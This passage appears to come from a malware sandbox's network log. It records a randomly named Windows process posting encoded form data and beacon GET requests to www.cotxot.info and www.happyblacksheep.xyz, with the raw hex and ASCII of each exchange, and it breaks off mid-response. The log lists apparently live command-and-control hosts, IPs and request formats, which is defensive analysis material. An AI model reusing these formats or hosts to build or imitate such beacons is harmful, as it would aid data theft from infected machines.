20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.11.20	49764	209.74.64.187	80	2488	C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:23:36.018234015 CEST	808	OUT	POST /fqdb/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Accept-Encoding: gzip, deflate Host: www.cotxot.info Origin: http://www.cotxot.info Referer: http://www.cotxot.info/fqdb/ Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 220 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0) Data Raw: 36 76 31 3d 65 31 51 4e 77 44 7a 53 49 78 68 41 51 4c 36 47 30 39 79 71 31 41 53 4e 48 69 66 44 59 58 51 68 39 41 6f 6e 4b 2b 44 62 48 54 42 45 79 41 78 6c 36 35 6d 67 67 6a 49 59 4d 68 35 4e 66 63 68 51 50 7a 6b 33 62 56 41 6a 70 70 56 75 50 6f 71 6f 57 54 51 54 63 62 48 65 79 69 42 7a 79 6a 37 74 6a 46 6b 49 51 64 68 4d 54 53 78 61 38 7a 4f 6a 46 46 72 30 55 75 4f 77 35 42 55 76 66 77 49 68 2b 52 75 52 7a 38 31 4b 4c 46 7a 49 45 50 68 43 5a 2b 75 32 72 79 38 67 57 78 47 61 55 34 38 50 37 67 41 46 4a 35 5a 53 73 59 41 30 70 47 41 49 67 78 4c 67 6c 6b 2f 67 52 69 56 72 36 42 67 2f 72 4e 70 63 6a 47 70 52 63 75 63 33 39 41 4b 58 63 6d 4e 41 72 44 55 3d Data Ascii: 6v1=e1QNwDzSIxhAQL6G09yq1ASNHifDYXQh9AonK+DbHTBEyAxl65mggjIYMh5NfchQPzk3bVAjppVuPoqoWTQTcbHeyiBzyj7tjFkIQdhMTSxa8zOjFFr0UuOw5BUvfwIh+RuRz81KLFzIEPhCZ+u2ry8gWxGaU48P7gAFJ5ZSsYA0pGAIgxLglk/gRiVr6Bg/rNpcjGpRcuc39AKXcmNArDU=
Oct 8, 2024 15:23:36.315269947 CEST	533	IN	HTTP/1.1 404 Not Found Date: Tue, 08 Oct 2024 13:23:36 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.11.20	49765	209.74.64.187	80	2488	C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:23:38.717987061 CEST	2578	OUT	POST /fqdb/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Accept-Encoding: gzip, deflate Host: www.cotxot.info Origin: http://www.cotxot.info Referer: http://www.cotxot.info/fqdb/ Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 7368 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0) Data Raw: 36 76 31 3d 65 31 51 4e 77 44 7a 53 49 78 68 41 51 4c 36 47 30 39 79 71 31 41 53 4e 48 69 66 44 59 58 51 68 39 41 6f 6e 4b 2b 44 62 48 54 4a 45 79 53 35 6c 35 65 36 67 68 6a 49 59 42 42 35 49 66 63 68 64 50 7a 73 72 62 56 45 7a 70 72 74 75 64 61 53 6f 65 47 6b 54 57 62 48 65 37 43 42 32 2f 44 36 6c 6a 46 30 45 51 63 64 4d 54 53 78 61 38 78 57 6a 43 55 72 30 57 75 4f 78 2b 42 55 72 62 77 49 61 2b 52 32 42 7a 39 31 77 49 78 2f 49 4b 50 78 43 56 73 47 32 6d 79 38 69 52 78 47 43 55 34 77 51 37 67 63 4a 4a 34 74 30 73 62 77 30 71 41 64 67 30 79 48 30 2b 47 76 55 55 68 74 44 30 54 38 67 73 73 51 68 6a 48 6c 51 61 4c 70 6e 6a 69 43 6e 48 45 4a 6d 2f 30 4a 68 44 48 74 4a 4b 6c 51 32 54 65 47 42 4a 36 72 6f 57 73 46 68 68 4e 61 47 48 38 6d 31 6a 34 36 77 6c 55 72 68 2f 45 33 72 6d 4d 4a 47 66 48 6e 2b 4a 49 4a 79 32 47 47 4a 79 69 67 36 67 57 4c 6b 78 66 76 41 63 6a 41 35 70 68 35 68 53 74 63 4a 59 56 62 63 4a 6f 57 46 69 33 30 6d 39 4f 4f 33 67 79 30 72 57 45 50 4f 65 36 30 4f 69 46 52 33 58 63 61 4d 73 66 [TRUNCATED] Data Ascii: 6v1=e1QNwDzSIxhAQL6G09yq1ASNHifDYXQh9AonK+DbHTJEyS5l5e6ghjIYBB5IfchdPzsrbVEzprtudaSoeGkTWbHe7CB2/D6ljF0EQcdMTSxa8xWjCUr0WuOx+BUrbwIa+R2Bz91wIx/IKPxCVsG2my8iRxGCU4wQ7gcJJ4t0sbw0qAdg0yH0+GvUUhtD0T8gssQhjHlQaLpnjiCnHEJm/0JhDHtJKlQ2TeGBJ6roWsFhhNaGH8m1j46wlUrh/E3rmMJGfHn+JIJy2GGJyig6gWLkxfvAcjA5ph5hStcJYVbcJoWFi30m9OO3gy0rWEPOe60OiFR3XcaMsfVtNbEBo9OdZFjm7u9bHtF5Rvfp9DjfdSm4qZybiQt6dKcw7cbq3eNFLMAwLawJ3hR14Q0cVEb3N1WiO9tCbEdAVP62oTCZwOJmFGqE7zsCIbsGlFDNz8+D5UOhtGz7Kf/L+nfTjobKxYywOXShJYwMmuVHhWjI347+/KuJiE2XMbWv0vfqtAVXwD1gkD7tEcW+tMsxj91DfXCaqMW5ozwlQhnwtz7hBG2PRuem9dGuhWypuh0TEi6OoWbhm5kNZVomibiQF9myWujfUZKRqQz+DTelc0a6HotsIpSycCn4DI/QeSI9I0m6h5Ob2Ez6WjBfyGUml+IpZPiBtWseWSBotDVwtTLixq1sbgvEumg6Q6LYPN/LNmaK6igjih5mlEUYkuz5aewKG5iYOqmoF5WKFkJ82ZOvoWA1V4h4sci8ENG66OTF+PAVrruH0jcd5d/Cj41JrF6emkFilp5su+DdSjpBzg7uwsNqN4MqMpNoIZUprPzVoaMkEdo2YCEcH4kmlZvM7hHcSQYFLXdBTw7s+REcNe9lsa0fAPPNZky09rVQglJdxG3s9EkjHYdqL35zlA8pUH4V65iKdq8d4QXpNkij53p5d+WCPWjf8O9AR/qOBbi3+ow0TnHSKxXFJDv4eREBO0E/6AmzjgWjECMZ38gMq10OM6sd [TRUNCATED]
Oct 8, 2024 15:23:38.718061924 CEST	5379	OUT	Data Raw: 76 55 65 32 69 58 68 51 72 39 47 57 48 62 32 4c 78 2f 2f 34 79 34 4c 50 2b 69 41 41 56 72 39 7a 31 2f 74 74 54 46 39 39 42 6d 78 39 2b 42 2b 45 6e 79 72 55 2b 72 4b 52 38 4b 34 65 56 6f 72 70 57 6a 42 4f 73 5a 44 45 68 66 72 31 38 61 57 56 78 42 Data Ascii: vUe2iXhQr9GWHb2Lx//4y4LP+iAAVr9z1/ttTF99Bmx9+B+EnyrU+rKR8K4eVorpWjBOsZDEhfr18aWVxB57akdWfJ+gX/T01iQz8i15IRQCgP7TjsjPqdcI7mrN6QFMiTgSIDow/w9CHQyb6YAxu9J6R+jXvDoeP4U9ThYcFYCj1CLl/OJyThxdS1E3JTekTVO6f0dJqPkMrPp8bQt7tc7m0VlRpYCIUTowmdv5q12HG08/eMr
Oct 8, 2024 15:23:38.925182104 CEST	533	IN	HTTP/1.1 404 Not Found Date: Tue, 08 Oct 2024 13:23:38 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.11.20	49766	209.74.64.187	80	2488	C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:23:41.402642965 CEST	529	OUT	GET /fqdb/?6v1=T34tz0P8PAskT6vIpcarzAarHDG1JHkC0CsiRe7uRjFzz28hmre5hzttCD4qXKBvMglrBCYw2+UNeo/6UDAZSc7i7BND3njplF8JWpgHbE1S/jexEjKON+w=&dX7=sns4Fhmpql HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Host: www.cotxot.info Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0)
Oct 8, 2024 15:23:41.569927931 CEST	548	IN	HTTP/1.1 404 Not Found Date: Tue, 08 Oct 2024 13:23:41 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.11.20	49767	3.33.130.190	80	2488	C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:23:46.804467916 CEST	812	OUT	POST /3j78/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Accept-Encoding: gzip, deflate Host: www.happyblacksheep.xyz Origin: http://www.happyblacksheep.xyz Referer: http://www.happyblacksheep.xyz/3j78/ Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 200 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0) Data Raw: 36 76 31 3d 62 45 59 4e 6d 58 4f 4e 2b 33 4a 34 34 6a 72 72 79 6d 44 59 76 6c 33 37 73 4c 2f 57 77 6f 7a 42 32 68 43 33 33 54 4a 43 35 74 49 62 45 56 49 57 2b 74 4e 56 4f 35 62 50 77 36 49 6d 6c 55 62 58 74 4f 42 57 4e 59 69 35 77 68 6c 6d 71 70 56 34 59 34 33 6d 2f 53 56 55 33 53 43 4b 76 71 41 5a 6d 79 68 4f 48 68 4c 2f 32 59 5a 76 77 72 66 58 6d 34 57 31 50 63 4c 59 65 70 69 4f 36 74 50 75 4e 53 68 4f 58 57 42 70 44 6c 72 46 4b 78 67 61 67 71 61 6a 6d 77 38 43 63 49 6a 6d 48 57 77 6e 2b 69 78 43 67 41 33 4f 57 43 61 66 4b 61 48 6a 2b 4e 75 4d 66 35 51 39 2f 2f 44 72 5a 4b 61 4a 6e 41 3d 3d Data Ascii: 6v1=bEYNmXON+3J44jrrymDYvl37sL/WwozB2hC33TJC5tIbEVIW+tNVO5bPw6ImlUbXtOBWNYi5whlmqpV4Y43m/SVU3SCKvqAZmyhOHhL/2YZvwrfXm4W1PcLYepiO6tPuNShOXWBpDlrFKxgagqajmw8CcIjmHWwn+ixCgA3OWCafKaHj+NuMf5Q9//DrZKaJnA==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.11.20	49768	3.33.130.190	80	2488	C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:23:49.435144901 CEST	832	OUT	POST /3j78/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Accept-Encoding: gzip, deflate Host: www.happyblacksheep.xyz Origin: http://www.happyblacksheep.xyz Referer: http://www.happyblacksheep.xyz/3j78/ Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 220 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0) Data Raw: 36 76 31 3d 62 45 59 4e 6d 58 4f 4e 2b 33 4a 34 36 44 37 72 77 46 62 59 37 31 33 30 6a 72 2f 57 36 49 7a 2f 32 68 4f 33 33 57 6c 30 34 62 34 62 45 30 55 57 73 34 35 56 50 35 62 50 6c 4b 4a 73 36 45 62 41 74 4f 46 65 4e 59 4f 35 77 67 46 6d 71 6f 6c 34 4e 5a 33 6c 2f 43 56 61 78 53 43 49 72 71 41 5a 6d 79 68 4f 48 68 66 56 32 59 52 76 78 59 58 58 6d 62 4f 32 4a 73 4c 58 4a 5a 69 4f 2b 74 50 71 4e 53 67 62 58 57 77 43 44 6d 66 46 4b 78 51 61 67 59 69 38 73 77 38 45 44 59 69 72 44 46 56 70 79 54 56 45 67 41 62 71 58 58 4b 6b 50 4d 57 35 6a 2f 61 6f 63 71 4d 50 37 50 36 44 62 49 62 53 36 4d 48 53 51 33 66 56 76 77 79 51 49 66 74 75 72 44 33 39 6d 4a 4d 3d Data Ascii: 6v1=bEYNmXON+3J46D7rwFbY7130jr/W6Iz/2hO33Wl04b4bE0UWs45VP5bPlKJs6EbAtOFeNYO5wgFmqol4NZ3l/CVaxSCIrqAZmyhOHhfV2YRvxYXXmbO2JsLXJZiO+tPqNSgbXWwCDmfFKxQagYi8sw8EDYirDFVpyTVEgAbqXXKkPMW5j/aocqMP7P6DbIbS6MHSQ3fVvwyQIfturD39mJM=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.11.20	49769	3.33.130.190	80	2488	C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:23:52.075467110 CEST	1289	OUT	POST /3j78/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Accept-Encoding: gzip, deflate Host: www.happyblacksheep.xyz Origin: http://www.happyblacksheep.xyz Referer: http://www.happyblacksheep.xyz/3j78/ Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 7368 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0) Data Raw: 36 76 31 3d 62 45 59 4e 6d 58 4f 4e 2b 33 4a 34 36 44 37 72 77 46 62 59 37 31 33 30 6a 72 2f 57 36 49 7a 2f 32 68 4f 33 33 57 6c 30 34 62 77 62 44 47 77 57 2b 50 6c 56 64 70 62 50 6b 4b 4a 68 36 45 62 64 74 4b 70 67 4e 59 79 70 77 6b 31 6d 72 4b 74 34 63 4b 76 6c 71 79 56 61 39 79 43 46 76 71 41 32 6d 78 5a 43 48 68 50 56 32 59 52 76 78 65 7a 58 76 6f 57 32 53 73 4c 59 65 70 69 4b 36 74 50 43 4e 54 49 4c 58 53 73 30 44 56 48 46 4a 52 41 61 69 4e 4f 38 67 77 38 47 41 59 6a 34 44 46 70 69 79 51 78 35 67 41 2f 51 58 51 57 6b 4e 4a 4c 6b 35 4f 69 69 42 62 45 32 35 2b 69 72 56 34 50 45 38 63 50 5a 55 30 37 6f 67 30 36 49 50 2b 38 6c 36 57 6a 68 33 63 74 68 58 6c 31 30 2b 6a 56 72 59 4b 44 34 6c 76 71 33 32 73 65 42 48 41 2f 68 58 69 62 57 4d 6d 70 77 7a 61 2f 6b 75 6b 6d 36 74 36 53 4c 66 35 36 56 78 76 51 37 47 74 4a 67 7a 66 75 70 76 39 58 35 37 62 5a 57 65 70 49 54 46 56 54 78 77 79 6c 4a 33 79 4e 47 61 31 32 64 5a 30 73 67 42 53 56 49 61 78 70 77 36 2b 76 62 48 46 37 6a 56 45 70 6b 78 66 4d 34 64 67 [TRUNCATED] Data Ascii: 6v1=bEYNmXON+3J46D7rwFbY7130jr/W6Iz/2hO33Wl04bwbDGwW+PlVdpbPkKJh6EbdtKpgNYypwk1mrKt4cKvlqyVa9yCFvqA2mxZCHhPV2YRvxezXvoW2SsLYepiK6tPCNTILXSs0DVHFJRAaiNO8gw8GAYj4DFpiyQx5gA/QXQWkNJLk5OiiBbE25+irV4PE8cPZU07og06IP+8l6Wjh3cthXl10+jVrYKD4lvq32seBHA/hXibWMmpwza/kukm6t6SLf56VxvQ7GtJgzfupv9X57bZWepITFVTxwylJ3yNGa12dZ0sgBSVIaxpw6+vbHF7jVEpkxfM4dg+jYfTPbLLLJ5ahJttM2vz3MJjDBduR2HPqdnTQPpW362EWnihG7ntBp7+XEa8cnGep+X9ky6vNRQsecP2qsxbGI/N+7eq031o5yt62iqs9VHgyFV1t2JbNhhnEIsRBaHdM80sc0h0cdkSom54n4aMn8s0ntvUhsko5CDNvZhyP1vnz2iZ2Ttvk0FMJ+9qQz6KVz+GRtQg+/AK8VS+KZubD3sGB7Tb2Y/dJhEOHf1578vE1A4fNaE6HSmYhHzX5Gh/g6KLPWAvzONoGLeMhIuTb5kaJfgYeEyHOv0sILaAZOjgCXt1AEYUyQpeE2KomvLfelVxxBox4IRKhjMG4
Oct 8, 2024 15:23:52.075515985 CEST	5156	OUT	Data Raw: 5a 66 43 72 76 6f 5a 36 49 31 33 62 4a 48 66 69 67 66 51 56 42 70 76 65 50 34 63 54 6d 41 4b 68 63 77 4b 52 39 6e 77 4e 57 6a 6f 34 61 39 42 73 37 41 37 36 6e 6a 73 34 4a 7a 39 38 68 74 56 4b 38 42 74 49 71 7a 6f 70 34 46 6b 33 6c 62 51 78 55 67 Data Ascii: ZfCrvoZ6I13bJHfigfQVBpveP4cTmAKhcwKR9nwNWjo4a9Bs7A76njs4Jz98htVK8BtIqzop4Fk3lbQxUgbXy/jj1BDyqCf0nvFUfOEJjgZKYCdHrsA2smVZ5/r88zRdrnD80d3qJuFLcmCUMAA5NttzKc7E2L5diszDQZeeFuqNW7pSSoJlb1v7w5z95zrS7c3Nt2iiXGR3rjTSa0IaX5xqimpZwCEuhv6KyH3eZI3HlXMjPtb
Oct 8, 2024 15:23:52.075572014 CEST	1289	OUT	Data Raw: 42 45 4a 39 34 44 70 50 4d 43 2b 2b 35 66 79 33 2b 4d 4b 6a 68 51 4e 51 56 46 49 35 5a 76 52 42 56 44 5a 46 63 71 78 77 6a 39 66 63 6f 4e 42 5a 46 35 77 4d 38 77 41 2f 70 7a 4e 59 53 44 4a 51 49 6f 39 57 6d 65 67 4b 44 4f 53 70 38 65 6a 37 2b 4e Data Ascii: BEJ94DpPMC++5fy3+MKjhQNQVFI5ZvRBVDZFcqxwj9fcoNBZF5wM8wA/pzNYSDJQIo9WmegKDOSp8ej7+NLHuvmebFmUf3njhWKtY78WA+UiQIBhwsPUdm+qpEFm4sQT3kcYMMy8hVDcjz/MjrTY7SQY/xyz8uNRgcbFawk50yFlF5DaSY7VhAmShDRQSzMhHAIiVq6VahlANnFnqBkQifGZo0P3tStVsAz6IvnuJRtT311yaap
Oct 8, 2024 15:23:52.075732946 CEST	247	OUT	Data Raw: 30 56 34 38 79 42 36 2f 4b 50 52 63 59 6e 59 6e 50 72 39 6f 53 36 4d 68 41 2b 4e 4e 4b 6a 6d 68 44 35 4b 73 58 6d 4d 42 73 2b 73 74 51 58 6c 6e 6b 4b 30 77 71 6c 58 31 57 74 42 44 32 32 43 32 76 65 6a 6a 54 49 4b 4a 68 6b 66 46 70 30 44 66 74 31 Data Ascii: 0V48yB6/KPRcYnYnPr9oS6MhA+NNKjmhD5KsXmMBs+stQXlnkK0wqlX1WtBD22C2vejjTIKJhkfFp0Dft1jt9Ozh3ptPU2TjUZP+rcd017fA+Xlw6BRASOhIZXeuJt3m4fbxgVyzt2WPP7+bT/OBWP/F4BNtEPB+r4MVj1jyd7WICjly1bgIzugno5SjbInDI3I1ngYOUz7V5FEeUfOlo61BamDWq8cr2T6ay9fwPMYckVl9JGw

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.11.20	49770	3.33.130.190	80	2488	C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:23:54.712918997 CEST	537	OUT	GET /3j78/?6v1=WGwtlgua1mFE8w70y2D40WjEmJ/2naD3+yS53ypxyLwYVAJFjddGfrPEgp8g5wfMnqQJPb28rx54q6h4cM7r9HJG6TCboJQlkTUiARap458Q2p/9rezvUuo=&dX7=sns4Fhmpql HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Host: www.happyblacksheep.xyz Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0)
Oct 8, 2024 15:23:55.722628117 CEST	394	IN	HTTP/1.1 200 OK Server: openresty Date: Tue, 08 Oct 2024 13:23:55 GMT Content-Type: text/html Content-Length: 254 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 36 76 31 3d 57 47 77 74 6c 67 75 61 31 6d 46 45 38 77 37 30 79 32 44 34 30 57 6a 45 6d 4a 2f 32 6e 61 44 33 2b 79 53 35 33 79 70 78 79 4c 77 59 56 41 4a 46 6a 64 64 47 66 72 50 45 67 70 38 67 35 77 66 4d 6e 71 51 4a 50 62 32 38 72 78 35 34 71 36 68 34 63 4d 37 72 39 48 4a 47 36 54 43 62 6f 4a 51 6c 6b 54 55 69 41 52 61 70 34 35 